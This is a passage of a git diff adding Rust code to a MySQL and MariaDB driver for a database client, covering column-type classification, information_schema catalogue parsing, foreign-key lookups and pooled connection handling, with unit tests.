ColumnKind::Float(FloatWidth::F64), + "DECIMAL" => ColumnKind::Decimal { + precision: None, + scale: None, + }, + "DATE" => ColumnKind::Date, + "TIME" => ColumnKind::Time { + fractional_digits: None, + with_offset: false, + range: TimeRange::Duration, + }, + "DATETIME" => ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Naive, + }, + "TIMESTAMP" => ColumnKind::Timestamp { + fractional_digits: None, + zone: match timestamps { + MySqlTimestampMode::WorkspaceUtc => TemporalZone::Offset, + MySqlTimestampMode::SessionLocal => TemporalZone::Naive, + }, + }, + "BIT" => ColumnKind::BitString { + length: None, + varying: false, + }, + "JSON" => ColumnKind::Json { binary: true }, + "GEOMETRY" => ColumnKind::Spatial, + "NULL" => return ResultColumn::new(column.name(), ColumnType::untyped_text("NULL")), + _ if >::compatible(type_info) => ColumnKind::Text { + length: TextLength::Unbounded, + }, + _ => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + }; + ResultColumn::new( + column.name(), + ColumnType { + name: name.to_ascii_lowercase(), + dynamic_storage: has_dynamic_storage(&kind), + kind, + catalog: None, + read_form: ReadForm::Native, + }, + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn facts<'a>(data_type: &'a str, column_type: &'a str) -> TypeFacts<'a> { + TypeFacts { + data_type, + column_type, + has_character_set: true, + ..TypeFacts::default() + } + } + + #[test] + fn mysql_int10_unsigned_zerofill_is_unsigned_integer() { + assert_eq!( + classify(&facts("int", "int(10) unsigned zerofill")), + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: false + }) + ); + assert_eq!( + classify(&facts("bigint", "bigint unsigned")), + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: false + }) + ); + } + + #[test] + fn mysql_decimal_10_2_unsigned_is_decimal() { + let decimal = TypeFacts { + numeric_precision: Some(10), + numeric_scale: Some(2), + ..facts("decimal", "decimal(10,2) unsigned") + }; + let column = column_type(&decimal); + + assert_eq!( + column.kind, + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2) + } + ); + assert_eq!( + column.catalog.map(|catalog| catalog.declaration.as_sql().to_owned()), + Some("decimal(10,2) unsigned".to_owned()) + ); + } + + #[test] + fn mysql_tinyint1_is_bool_integer() { + assert_eq!( + classify(&facts("tinyint", "tinyint(1)")), + ColumnKind::Bool(BoolStorage::Integer) + ); + assert_eq!( + classify(&facts("tinyint", "tinyint(4)")), + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W8, + signed: true + }) + ); + } + + #[test] + fn mysql_enum_set_members_with_quote_and_backslash() { + assert_eq!( + classify(&facts("enum", r"enum('it''s','a\\b')")), + ColumnKind::Enum { + labels: vec!["it's".to_owned(), r"a\b".to_owned()], + multiple: false + } + ); + assert_eq!( + classify(&facts("set", "set('x','y')")), + ColumnKind::Enum { + labels: vec!["x".to_owned(), "y".to_owned()], + multiple: true + } + ); + } + + #[test] + fn mysql_unknown_modifier_is_other_server_text() { + let column = column_type(&facts("int", "int(11) frobnicated")); + + assert_eq!(column.kind, ColumnKind::Other); + assert_eq!(column.read_form, ReadForm::ServerText); + assert_eq!( + column.catalog.map(|catalog| catalog.declaration.as_sql().to_owned()), + Some("int(11) frobnicated".to_owned()) + ); + assert_eq!(column_type(&facts("inet6", "inet6")).kind, ColumnKind::Other); + } + + #[test] + fn mysql_bit10_year_geometry() { + let bit = TypeFacts { + numeric_precision: Some(10), + ..facts("bit", "bit(10)") + }; + assert_eq!( + classify(&bit), + ColumnKind::BitString { + length: Some(10), + varying: false + } + ); + assert_eq!( + classify(&facts("year", "year")), + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W16, + signed: false + }) + ); + assert_eq!(classify(&facts("geometry", "geometry")), ColumnKind::Spatial); + assert_eq!(classify(&facts("point", "point")), ColumnKind::Spatial); + let binary_text = TypeFacts { + has_character_set: false, + ..facts("varchar", "varbinary(4)") + }; + assert!( + matches!(classify(&binary_text), ColumnKind::Other), + "a COLUMN_TYPE that does not start with its DATA_TYPE is not guessed at" + ); + let blob = TypeFacts { + has_character_set: false, + ..facts("text", "text") + }; + assert!(matches!(classify(&blob), ColumnKind::Bytes { .. })); + } + + #[test] + fn classify_default_table() { + let integer = column_type(&facts("int", "int")); + let text = column_type(&TypeFacts { + character_maximum_length: Some(10), + ..facts("varchar", "varchar(10)") + }); + let stamp = column_type(&facts("timestamp", "timestamp")); + let plain = MySqlExtra::default(); + let generated = MySqlExtra::parse("DEFAULT_GENERATED"); + let mysql = MySqlFlavour::MySql; + let mariadb = MySqlFlavour::MariaDb; + + assert_eq!( + classify_default(Some("42"), &integer, &plain, mysql), + ColumnDefault::Literal(Value::Int(42)) + ); + assert_eq!( + classify_default(Some("it's"), &text, &plain, mysql), + ColumnDefault::Literal(Value::Text("it's".to_owned())) + ); + assert_eq!( + classify_default(Some(""), &text, &plain, mysql), + ColumnDefault::Literal(Value::Text(String::new())) + ); + assert!(matches!( + classify_default(Some("CURRENT_TIMESTAMP"), &stamp, &generated, mysql), + ColumnDefault::Expression(expression) if expression.as_sql() == "CURRENT_TIMESTAMP" + )); + assert_eq!(classify_default(None, &integer, &plain, mysql), ColumnDefault::None); + + assert_eq!( + classify_default(Some("'it''s'"), &text, &plain, mariadb), + ColumnDefault::Literal(Value::Text("it's".to_owned())) + ); + assert_eq!( + classify_default(Some("7"), &integer, &plain, mariadb), + ColumnDefault::Literal(Value::Int(7)) + ); + assert_eq!( + classify_default(Some("NULL"), &integer, &plain, mariadb), + ColumnDefault::None + ); + assert!(matches!( + classify_default(Some("current_timestamp()"), &stamp, &plain, mariadb), + ColumnDefault::Expression(expression) if expression.as_sql() == "current_timestamp()" + )); + } +} diff --git a/linux/crates/drivers/mysql/src/catalog/catalog_cells.rs b/linux/crates/drivers/mysql/src/catalog/catalog_cells.rs new file mode 100644 index 0000000000..5b882d51e3 --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog/catalog_cells.rs @@ -0,0 +1,88 @@ +use tablepro_core::DriverError; +use tablepro_core::value::Value; + +/// A catalogue row, decoded once. information_schema hands some text +/// columns back as BLOB or VARBINARY depending on the server and its +/// version, so every cell is read for what it holds, not its type. +pub(crate) struct CatalogCells { + table: &'static str, + values: Vec, +} + +impl CatalogCells { + pub(crate) fn new(table: &'static str, values: Vec) -> Self { + Self { table, values } + } + + pub(crate) fn text(&self, index: usize) -> Result, DriverError> { + match self.values.get(index) { + None | Some(Value::Null) => Ok(None), + Some(Value::Text(text)) => Ok(Some(text.clone())), + Some(Value::Bytes(bytes)) => String::from_utf8(bytes.clone()) + .map(Some) + .map_err(|error| self.error(index, &error.to_string())), + Some(Value::Other(other)) => Ok(Some(other.text.clone())), + Some(other) => Ok(tablepro_core::export::value_to_text(other)), + } + } + + pub(crate) fn required_text(&self, index: usize) -> Result { + self.text(index)? + .ok_or_else(|| self.error(index, "a NULL where the catalogue always has a value")) + } + + pub(crate) fn number(&self, index: usize) -> Result, DriverError> { + match self.values.get(index) { + None | Some(Value::Null) => Ok(None), + Some(Value::Int(number)) => u64::try_from(*number) + .map(Some) + .map_err(|_| self.error(index, "a negative count")), + Some(Value::UInt(number)) => Ok(Some(*number)), + Some(Value::Decimal(decimal)) => Value::Decimal(decimal.clone()) + .as_exact_u64() + .map(Some) + .ok_or_else(|| self.error(index, "a fractional count")), + Some(_) => match self.text(index)? { + Some(text) => text + .trim() + .parse() + .map(Some) + .map_err(|_| self.error(index, &format!("{text:?} is not a count"))), + None => Ok(None), + }, + } + } + + fn error(&self, index: usize, detail: &str) -> DriverError { + DriverError::Decode { + column: format!("{} column {index}", self.table), + detail: detail.to_owned(), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn catalogue_cells_read_text_from_any_string_form() { + let cells = CatalogCells::new( + "COLUMNS", + vec![ + Value::Bytes(b"id".to_vec()), + Value::Text("int".to_owned()), + Value::UInt(10), + Value::Text("11".to_owned()), + Value::Null, + ], + ); + + assert_eq!(cells.text(0).ok().flatten().as_deref(), Some("id")); + assert_eq!(cells.required_text(1).ok().as_deref(), Some("int")); + assert_eq!(cells.number(2).ok().flatten(), Some(10)); + assert_eq!(cells.number(3).ok().flatten(), Some(11)); + assert_eq!(cells.number(4).ok().flatten(), None); + assert!(cells.required_text(4).is_err()); + } +} diff --git a/linux/crates/drivers/mysql/src/catalog/column_type_scan_error.rs b/linux/crates/drivers/mysql/src/catalog/column_type_scan_error.rs new file mode 100644 index 0000000000..5479daa8d3 --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog/column_type_scan_error.rs @@ -0,0 +1,13 @@ +use thiserror::Error; + +/// Why a COLUMN_TYPE did not scan. The column then classifies as +/// `Other` with its declaration kept verbatim, never as a guess. +#[derive(Debug, Clone, PartialEq, Eq, Error)] +pub(crate) enum ColumnTypeScanError { + #[error("{column_type:?} does not start with its DATA_TYPE {data_type:?}")] + MissingDataTypePrefix { data_type: String, column_type: String }, + #[error("{0:?} has an unbalanced parenthesis or an unterminated label")] + Unbalanced(String), + #[error("{0:?} is not a modifier this scanner knows")] + UnexpectedModifier(String), +} diff --git a/linux/crates/drivers/mysql/src/catalog/mysql_column_row.rs b/linux/crates/drivers/mysql/src/catalog/mysql_column_row.rs new file mode 100644 index 0000000000..702ee01cf0 --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog/mysql_column_row.rs @@ -0,0 +1,74 @@ +use tablepro_core::DriverError; + +use super::catalog_cells::CatalogCells; +use crate::flavour::MySqlFlavour; + +/// One row of `information_schema.COLUMNS`, the columns of a table in +/// order. MariaDB has no SRS_ID, so its query selects a NULL there. +const MYSQL_COLUMNS_SQL: &str = "\ +SELECT COLUMN_NAME, DATA_TYPE, COLUMN_TYPE, IS_NULLABLE, COLUMN_KEY, COLUMN_DEFAULT, EXTRA, + NUMERIC_PRECISION, NUMERIC_SCALE, DATETIME_PRECISION, CHARACTER_MAXIMUM_LENGTH, + CHARACTER_SET_NAME, COLLATION_NAME, GENERATION_EXPRESSION, COLUMN_COMMENT, SRS_ID +FROM information_schema.COLUMNS +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) AND TABLE_NAME = ? +ORDER BY ORDINAL_POSITION"; + +const MARIADB_COLUMNS_SQL: &str = "\ +SELECT COLUMN_NAME, DATA_TYPE, COLUMN_TYPE, IS_NULLABLE, COLUMN_KEY, COLUMN_DEFAULT, EXTRA, + NUMERIC_PRECISION, NUMERIC_SCALE, DATETIME_PRECISION, CHARACTER_MAXIMUM_LENGTH, + CHARACTER_SET_NAME, COLLATION_NAME, GENERATION_EXPRESSION, COLUMN_COMMENT, NULL AS SRS_ID +FROM information_schema.COLUMNS +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) AND TABLE_NAME = ? +ORDER BY ORDINAL_POSITION"; + +pub(crate) fn columns_sql(flavour: MySqlFlavour) -> &'static str { + match flavour { + MySqlFlavour::MySql => MYSQL_COLUMNS_SQL, + MySqlFlavour::MariaDb => MARIADB_COLUMNS_SQL, + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub(crate) struct MySqlColumnRow { + pub name: String, + pub data_type: String, + pub column_type: String, + pub nullable: bool, + pub column_key: String, + pub default: Option, + pub extra: String, + pub numeric_precision: Option, + pub numeric_scale: Option, + pub datetime_precision: Option, + pub character_maximum_length: Option, + pub character_set: Option, + pub collation: Option, + pub generation_expression: Option, + pub comment: Option, + pub srs_id: Option, +} + +impl MySqlColumnRow { + pub(crate) fn from_cells(cells: &CatalogCells) -> Result { + Ok(Self { + name: cells.required_text(0)?, + data_type: cells.required_text(1)?, + column_type: cells.required_text(2)?, + nullable: cells.text(3)?.as_deref() == Some("YES"), + column_key: cells.text(4)?.unwrap_or_default(), + default: cells.text(5)?, + extra: cells.text(6)?.unwrap_or_default(), + numeric_precision: cells.number(7)?, + numeric_scale: cells.number(8)?, + datetime_precision: cells.number(9)?, + character_maximum_length: cells.number(10)?, + character_set: cells.text(11)?, + collation: cells.text(12)?, + generation_expression: cells.text(13)?.filter(|expression| !expression.is_empty()), + // MySQL has no "no comment": a column without one carries the + // empty string. + comment: cells.text(14)?.filter(|comment| !comment.is_empty()), + srs_id: cells.number(15)?, + }) + } +} diff --git a/linux/crates/drivers/mysql/src/catalog/mysql_column_type.rs b/linux/crates/drivers/mysql/src/catalog/mysql_column_type.rs new file mode 100644 index 0000000000..38fe44eafb --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog/mysql_column_type.rs @@ -0,0 +1,134 @@ +//! MySQL's COLUMN_TYPE, read with a scanner rather than a SQL parser: +//! sqlparser has no ZEROFILL, and the catalogue's spelling is regular +//! enough that three steps cover it. + +use super::column_type_scan_error::ColumnTypeScanError; + +/// What COLUMN_TYPE adds to DATA_TYPE. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct MySqlColumnType { + /// The text inside the parentheses, as written: a length, a + /// precision and scale, or the quoted labels of an ENUM or SET. + pub args: Option, + /// ZEROFILL implies UNSIGNED, so this is true for both. + pub unsigned: bool, + pub zerofill: bool, +} + +/// 1. COLUMN_TYPE starts with DATA_TYPE, ignoring case. +/// 2. One optional parenthesised group, read past quoted labels with +/// `''` and backslash escapes so a `)` inside one does not end it. +/// 3. Whitespace-separated modifiers from {unsigned, signed, zerofill}. +pub(crate) fn scan(data_type: &str, column_type: &str) -> Result { + let text = column_type.trim(); + let prefix = text + .get(..data_type.len()) + .filter(|prefix| prefix.eq_ignore_ascii_case(data_type)) + .ok_or_else(|| ColumnTypeScanError::MissingDataTypePrefix { + data_type: data_type.to_owned(), + column_type: column_type.to_owned(), + })?; + let mut rest = &text[prefix.len()..]; + let mut args = None; + if rest.starts_with('(') { + let end = closing_parenthesis(rest).ok_or_else(|| ColumnTypeScanError::Unbalanced(column_type.to_owned()))?; + args = Some(rest[1..end].to_owned()); + rest = &rest[end + 1..]; + } else if rest.chars().next().is_some_and(|next| !next.is_whitespace()) { + return Err(ColumnTypeScanError::MissingDataTypePrefix { + data_type: data_type.to_owned(), + column_type: column_type.to_owned(), + }); + } + let mut scanned = MySqlColumnType { + args, + unsigned: false, + zerofill: false, + }; + for word in rest.split_whitespace() { + match word.to_ascii_lowercase().as_str() { + "unsigned" => scanned.unsigned = true, + "signed" => {} + "zerofill" => { + scanned.zerofill = true; + scanned.unsigned = true; + } + _ => return Err(ColumnTypeScanError::UnexpectedModifier(word.to_owned())), + } + } + Ok(scanned) +} + +/// The byte index of the `)` that closes the `(` at index 0. +fn closing_parenthesis(text: &str) -> Option { + let mut depth = 0usize; + let mut quote: Option = None; + let mut characters = text.char_indices().peekable(); + while let Some((index, character)) = characters.next() { + match quote { + Some(open) => match character { + '\\' => { + characters.next(); + } + _ if character == open => { + if characters.peek().is_some_and(|(_, next)| *next == open) { + characters.next(); + } else { + quote = None; + } + } + _ => {} + }, + None => match character { + '\'' | '"' => quote = Some(character), + '(' => depth += 1, + ')' => { + depth = depth.checked_sub(1)?; + if depth == 0 { + return Some(index); + } + } + _ => {} + }, + } + } + None +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn modifiers_and_arguments() { + let scanned = scan("int", "int(10) unsigned zerofill").expect("int zerofill"); + assert_eq!(scanned.args.as_deref(), Some("10")); + assert!(scanned.unsigned && scanned.zerofill); + + let scanned = scan("decimal", "decimal(10,2) unsigned").expect("decimal"); + assert_eq!(scanned.args.as_deref(), Some("10,2")); + assert!(scanned.unsigned && !scanned.zerofill); + + let scanned = scan("bigint", "BIGINT").expect("upper case"); + assert_eq!(scanned.args, None); + + let scanned = scan("enum", "enum('a)b','it''s','c\\'d')").expect("labels"); + assert_eq!(scanned.args.as_deref(), Some("'a)b','it''s','c\\'d'")); + } + + #[test] + fn what_does_not_scan_says_why() { + assert!(matches!( + scan("int", "integer"), + Err(ColumnTypeScanError::MissingDataTypePrefix { .. }) + )); + assert!(matches!( + scan("varchar", "varchar(10"), + Err(ColumnTypeScanError::Unbalanced(_)) + )); + assert_eq!( + scan("int", "int(11) auto_increment"), + Err(ColumnTypeScanError::UnexpectedModifier("auto_increment".to_owned())) + ); + } +} diff --git a/linux/crates/drivers/mysql/src/catalog/mysql_extra.rs b/linux/crates/drivers/mysql/src/catalog/mysql_extra.rs new file mode 100644 index 0000000000..b1a07ada97 --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog/mysql_extra.rs @@ -0,0 +1,106 @@ +//! The EXTRA column of `information_schema.COLUMNS`, which packs several +//! unrelated attributes into one space-separated string. + +/// How a generated column keeps its value. MariaDB spells STORED as +/// PERSISTENT too. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum ExtraGenerated { + Virtual, + Stored, + Persistent, +} + +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub(crate) struct MySqlExtra { + pub auto_increment: bool, + /// MySQL 8.0.13 and later mark an expression default this way, which + /// is the only thing telling `CURRENT_TIMESTAMP` the function from + /// the text. + pub default_generated: bool, + /// The expression of `ON UPDATE`, in the server's own spelling. + pub on_update: Option, + pub generated: Option, + pub invisible: bool, + /// Words this build does not model, such as MariaDB's `WITHOUT + /// SYSTEM VERSIONING`, kept so the structure tab can say they exist. + pub unmodeled: Vec, +} + +impl MySqlExtra { + pub(crate) fn parse(extra: &str) -> Self { + let words: Vec<&str> = extra.split_whitespace().collect(); + let lower: Vec = words.iter().map(|word| word.to_ascii_lowercase()).collect(); + let mut parsed = Self::default(); + let mut leftover: Vec<&str> = Vec::new(); + let mut index = 0; + while index < words.len() { + let next = lower.get(index + 1).map(String::as_str); + match (lower[index].as_str(), next) { + ("auto_increment", _) => parsed.auto_increment = true, + ("default_generated", _) => parsed.default_generated = true, + ("invisible", _) => parsed.invisible = true, + ("virtual" | "stored" | "persistent", Some("generated")) => { + parsed.generated = Some(match lower[index].as_str() { + "virtual" => ExtraGenerated::Virtual, + "stored" => ExtraGenerated::Stored, + _ => ExtraGenerated::Persistent, + }); + index += 1; + } + ("on", Some("update")) => match words.get(index + 2) { + Some(expression) => { + parsed.on_update = Some((*expression).to_owned()); + index += 2; + } + None => leftover.extend(&words[index..]), + }, + _ => leftover.push(words[index]), + } + index += 1; + } + if !leftover.is_empty() { + parsed.unmodeled.push(leftover.join(" ")); + } + parsed + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn mysql_extra_parses_all_known_tokens_and_reports_unknown() { + assert!(MySqlExtra::parse("auto_increment").auto_increment); + + let stamped = MySqlExtra::parse("DEFAULT_GENERATED on update CURRENT_TIMESTAMP(3)"); + assert!(stamped.default_generated); + assert_eq!(stamped.on_update.as_deref(), Some("CURRENT_TIMESTAMP(3)")); + assert!(stamped.unmodeled.is_empty()); + + assert_eq!( + MySqlExtra::parse("VIRTUAL GENERATED").generated, + Some(ExtraGenerated::Virtual) + ); + assert_eq!( + MySqlExtra::parse("STORED GENERATED INVISIBLE"), + MySqlExtra { + generated: Some(ExtraGenerated::Stored), + invisible: true, + ..MySqlExtra::default() + } + ); + assert_eq!( + MySqlExtra::parse("PERSISTENT GENERATED").generated, + Some(ExtraGenerated::Persistent) + ); + assert_eq!( + MySqlExtra::parse("on update current_timestamp()").on_update.as_deref(), + Some("current_timestamp()") + ); + + let versioned = MySqlExtra::parse("WITHOUT SYSTEM VERSIONING"); + assert_eq!(versioned.unmodeled, ["WITHOUT SYSTEM VERSIONING"]); + assert_eq!(MySqlExtra::parse(""), MySqlExtra::default()); + } +} diff --git a/linux/crates/drivers/mysql/src/catalog/table_definition.rs b/linux/crates/drivers/mysql/src/catalog/table_definition.rs new file mode 100644 index 0000000000..6f26d59b53 --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog/table_definition.rs @@ -0,0 +1,78 @@ +use tablepro_core::DriverError; +use tablepro_core::ddl::InboundForeignKey; +use tablepro_core::meta::TableRef; + +use super::catalog_cells::CatalogCells; + +/// Foreign keys on other tables that point at this one, one row per +/// column in key order. +pub(crate) const INBOUND_FOREIGN_KEYS_SQL: &str = "\ +SELECT CONSTRAINT_NAME, TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, REFERENCED_COLUMN_NAME +FROM information_schema.KEY_COLUMN_USAGE +WHERE REFERENCED_TABLE_SCHEMA = COALESCE(?, DATABASE()) AND REFERENCED_TABLE_NAME = ? +ORDER BY TABLE_SCHEMA, TABLE_NAME, CONSTRAINT_NAME, ORDINAL_POSITION"; + +/// Engine attributes on columns, which MySQL 8.0.21 and later keep apart +/// from COLUMNS and which this build does not model. +pub(crate) const COLUMN_ENGINE_ATTRIBUTES_SQL: &str = "\ +SELECT COLUMN_NAME, ENGINE_ATTRIBUTE, SECONDARY_ENGINE_ATTRIBUTE +FROM information_schema.COLUMNS_EXTENSIONS +WHERE TABLE_SCHEMA = COALESCE(?, DATABASE()) AND TABLE_NAME = ?"; + +/// One key per constraint, its columns in order. +pub(crate) fn inbound_foreign_keys(rows: &[CatalogCells]) -> Result, DriverError> { + let mut keys: Vec = Vec::new(); + for row in rows { + let name = row.required_text(0)?; + let schema = row.required_text(1)?; + let table = row.required_text(2)?; + let column = row.required_text(3)?; + let referenced = row.required_text(4)?; + let same = keys.last_mut().filter(|key| { + key.name == name && key.table.name == table && key.table.schema.as_deref() == Some(schema.as_str()) + }); + match same { + Some(key) => { + key.columns.push(column); + key.referenced_columns.push(referenced); + } + None => keys.push(InboundForeignKey { + name, + table: TableRef::new(Some(schema), table), + columns: vec![column], + referenced_columns: vec![referenced], + }), + } + } + Ok(keys) +} + +#[cfg(test)] +mod tests { + use tablepro_core::value::Value; + + use super::*; + + fn row(values: [&str; 5]) -> CatalogCells { + CatalogCells::new( + "KEY_COLUMN_USAGE", + values.iter().map(|text| Value::Text((*text).to_owned())).collect(), + ) + } + + #[test] + fn a_composite_key_collects_its_columns_in_order() { + let rows = [ + row(["fk_line", "shop", "lines", "order_id", "id"]), + row(["fk_line", "shop", "lines", "order_rev", "rev"]), + row(["fk_note", "shop", "notes", "order_id", "id"]), + ]; + + let keys = inbound_foreign_keys(&rows).expect("keys"); + + assert_eq!(keys.len(), 2); + assert_eq!(keys[0].columns, ["order_id", "order_rev"]); + assert_eq!(keys[0].referenced_columns, ["id", "rev"]); + assert_eq!(keys[1].table, TableRef::new(Some("shop".to_owned()), "notes")); + } +} diff --git a/linux/crates/drivers/mysql/src/connection.rs b/linux/crates/drivers/mysql/src/connection.rs new file mode 100644 index 0000000000..5f08ea6a4e --- /dev/null +++ b/linux/crates/drivers/mysql/src/connection.rs @@ -0,0 +1,515 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use async_trait::async_trait; +use deadpool::managed::{PoolError, TimeoutType}; +use sqlx::Executor as _; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + CallOptions, CommitResolution, CommitToken, Connection, DriverError, EditorSession, EditorSessionOptions, + ErrorCategory, ForeignKeyInfo, LinkState, LinkWatch, LivenessPolicy, LossPhase, OwnedCalls, QueryResult, + ReadStatement, ResultSink, RowLimit, ServerInfo, SessionFate, StreamSummary, TimeoutPhase, WorkspaceSettings, + WriteAtomicity, WriteBatch, WriteKind, WriteLedger, WriteReport, +}; +use tokio::time::Instant; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; + +use crate::cancel::{ControlLink, MySqlStop, StopProgress}; +use crate::dialect::MySqlDialect; +use crate::editor_session::MysqlEditorSession; +use crate::errors::{map_error, map_pool_error}; +use crate::flavour::MySqlFlavour; +use crate::metadata; +use crate::mysql_call::MysqlCall; +use crate::mysql_manager::{MysqlPool, probe_timeouts, workspace_timeouts}; +use crate::physical::MysqlEndpoint; +use crate::session_statements::SessionLimits; +use crate::standalone::Standalone; +use crate::stream_read::stream; +use crate::table_engine; +use crate::workspace_call::{ReadOp, count_op, query_bound_op, read_op}; +use crate::write_batch::{WriteContext, WritePlan, perform, precheck}; + +/// A workspace's link to one MySQL or MariaDB server: a pool of four +/// connections behind the sidebar, the grid and every save. +pub(crate) struct MysqlConnection { + endpoint: Arc, + pool: MysqlPool, + control: Arc, + calls: OwnedCalls, + settings: WorkspaceSettings, + server: ServerInfo, + dialect: Arc, + link: LinkWatch, + closed: AtomicBool, +} + +impl MysqlConnection { + pub(crate) fn new( + endpoint: Arc, + pool: MysqlPool, + settings: WorkspaceSettings, + flavour: MySqlFlavour, + server: ServerInfo, + ) -> Self { + let grace = endpoint.liveness().cancel_grace; + let dialect = Arc::new(MySqlDialect::new(flavour, &server)); + Self { + control: Arc::new(ControlLink::new(endpoint.clone())), + endpoint, + pool, + calls: OwnedCalls::new(grace), + settings, + server, + dialect, + link: LinkWatch::new(), + closed: AtomicBool::new(false), + } + } + + fn liveness(&self) -> &LivenessPolicy { + self.endpoint.liveness() + } + + fn flavour(&self) -> MySqlFlavour { + self.dialect.flavour() + } + + fn ensure_open(&self) -> Result<(), DriverError> { + if self.closed.load(Ordering::SeqCst) { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + } + Ok(()) + } + + /// Run one read on a pooled connection, owned by a task that outlives + /// the caller. + async fn read(&self, options: CallOptions, op: ReadOp) -> Result { + self.ensure_open()?; + let stop = Arc::new(MySqlStop::new(self.control.clone())); + let pool = self.pool.clone(); + let timeouts = workspace_timeouts(self.liveness()); + let work_stop = stop.clone(); + let outcome = self + .calls + .run_read( + options, + MysqlCall::new(), + stop.clone(), + move |mut call, request| async move { + if let Err(error) = call.acquire(&pool, &timeouts, &request, &work_stop).await { + return (call, Err(error)); + } + let result = match call.connection() { + Ok((connection, flavour)) => op(connection, flavour).await, + Err(error) => Err(error), + }; + (call, result) + }, + ) + .await; + self.settle(outcome, &stop).await + } + + /// Decide whether a failed call means the link itself is gone. + /// + /// sqlx has no keepalive on a direct route, so a dead peer shows up + /// only as a call that times out or loses its connection. A KILL + /// that never got through already says the route is gone; otherwise + /// a login of its own answers the question within the cancel grace. + async fn settle(&self, outcome: Result, stop: &MySqlStop) -> Result { + let error = match outcome { + Ok(value) => return Ok(value), + Err(error) => self.endpoint.explain(error).await, + }; + if !suspects_link(&error) { + return Err(error); + } + let lost = match stop.progress() { + StopProgress::InFlight | StopProgress::Failed => true, + StopProgress::Delivered => false, + StopProgress::NotSent | StopProgress::NothingToStop => self + .endpoint + .check(self.liveness().cancel_grace) + .await + .is_err_and(|failure| means_link_lost(&failure)), + }; + if !lost { + return Err(error); + } + self.link.mark_lost(); + Err(match error { + DriverError::Timeout { .. } => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + other => other, + }) + } + + /// Whether the table's engine can roll back, read before the write + /// so the ledger knows what an interruption leaves behind. + async fn atomicity(&self, batch: &WriteBatch, options: &CallOptions) -> Result { + if batch.kind == WriteKind::SchemaChanges { + return Ok(WriteAtomicity::StatementByStatement); + } + let table = batch.table.clone(); + // A call cancels its token when it returns, so the lookup gets a + // child: the write that follows still answers to the caller. + let lookup = CallOptions::new(options.deadline(), options.cancel().child_token()); + let engine = self + .read( + lookup, + read_op(move |connection, flavour| { + Box::pin(async move { table_engine::lookup(connection, flavour, &table).await }) + }), + ) + .await?; + Ok(engine.atomicity()) + } + + fn stream_limits(&self) -> SessionLimits { + SessionLimits { + statement_timeout: None, + ..SessionLimits::workspace(&self.settings) + } + } +} + +/// A failure that may mean the route is gone rather than one statement. +fn suspects_link(error: &DriverError) -> bool { + match error { + DriverError::ConnectionLost { .. } | DriverError::Transport(_) => true, + DriverError::Timeout { + server_cancelled: false, + phase, + } => matches!( + phase, + TimeoutPhase::Statement | TimeoutPhase::Probe | TimeoutPhase::Login + ), + _ => false, + } +} + +fn means_link_lost(error: &DriverError) -> bool { + matches!( + error.category(), + ErrorCategory::Network | ErrorCategory::ConnectionLost | ErrorCategory::Timeout + ) +} + +#[async_trait] +impl Connection for MysqlConnection { + fn server_info(&self) -> &ServerInfo { + &self.server + } + + fn dialect(&self) -> Arc { + self.dialect.clone() + } + + fn read_only(&self) -> bool { + self.settings.read_only + } + + fn link_state(&self) -> LinkState { + self.link.state() + } + + fn lost(&self) -> WaitForCancellationFutureOwned { + self.link.lost() + } + + async fn probe(&self, options: CallOptions) -> Result<(), DriverError> { + self.ensure_open()?; + let deadline = options + .deadline() + .unwrap_or_else(|| Instant::now() + self.liveness().probe_timeout); + let flavour = self.flavour(); + let probing = async { + match self.pool.timeout_get(&probe_timeouts(self.liveness())).await { + Ok(mut object) => object + .connection + .execute("SELECT 1") + .await + .map(|_| ()) + .map_err(|error| map_error(&error, flavour)), + // Every slot is busy, which is not the server being gone. + Err(PoolError::Timeout(TimeoutType::Wait)) => { + let bound = deadline.saturating_duration_since(Instant::now()); + self.endpoint.check(bound).await + } + Err(error) => Err(map_pool_error(&error)), + } + }; + let outcome = tokio::select! { + () = options.cancel().cancelled() => Err(DriverError::Cancelled), + outcome = tokio::time::timeout_at(deadline, probing) => outcome.unwrap_or(Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + })), + }; + if let Err(error) = &outcome + && matches!(error.category(), ErrorCategory::Network | ErrorCategory::ConnectionLost) + { + self.link.mark_lost(); + } + outcome + } + + async fn list_schemas(&self, options: CallOptions) -> Result, DriverError> { + self.read( + options, + read_op(|connection, flavour| Box::pin(metadata::list_schemas(connection, flavour))), + ) + .await + } + + async fn list_objects(&self, scope: &ObjectScope, options: CallOptions) -> Result, DriverError> { + let scope = scope.clone(); + self.read( + options, + read_op(move |connection, flavour| { + Box::pin(async move { metadata::list_objects(connection, flavour, &scope).await }) + }), + ) + .await + } + + async fn 